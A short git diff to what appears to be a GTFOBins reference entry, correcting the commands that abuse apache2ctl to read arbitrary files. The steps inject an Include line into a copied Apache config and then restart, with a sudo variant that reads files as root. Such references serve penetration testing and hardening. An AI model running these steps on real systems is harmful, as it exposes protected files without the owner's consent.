diff --git a/_gtfobins/apache2ctl.md b/_gtfobins/apache2ctl.md index 1b676d7d..14237106 100644 --- a/_gtfobins/apache2ctl.md +++ b/_gtfobins/apache2ctl.md @@ -5,12 +5,12 @@ functions: - code: cp -r /etc/apache2/ /tmp/apache2 - code: | LFILE=file_to_read - echo "Include $LFILE" >> /tmp/test + echo "Include $LFILE" >> /tmp/apache2/apache2.conf - code: apache2ctl -d /tmp/apache2 -k restart sudo: - code: cp -r /etc/apache2/ /tmp/apache2 - code: | LFILE=file_to_read - echo "Include $LFILE" >> /tmp/test - - code: sudo apache2ctl -d /path/to/apache2 -k restart ---- \ No newline at end of file + echo "Include $LFILE" >> /tmp/apache2/apache2.conf + - code: sudo apache2ctl -d /tmp/apache2 -k restart +---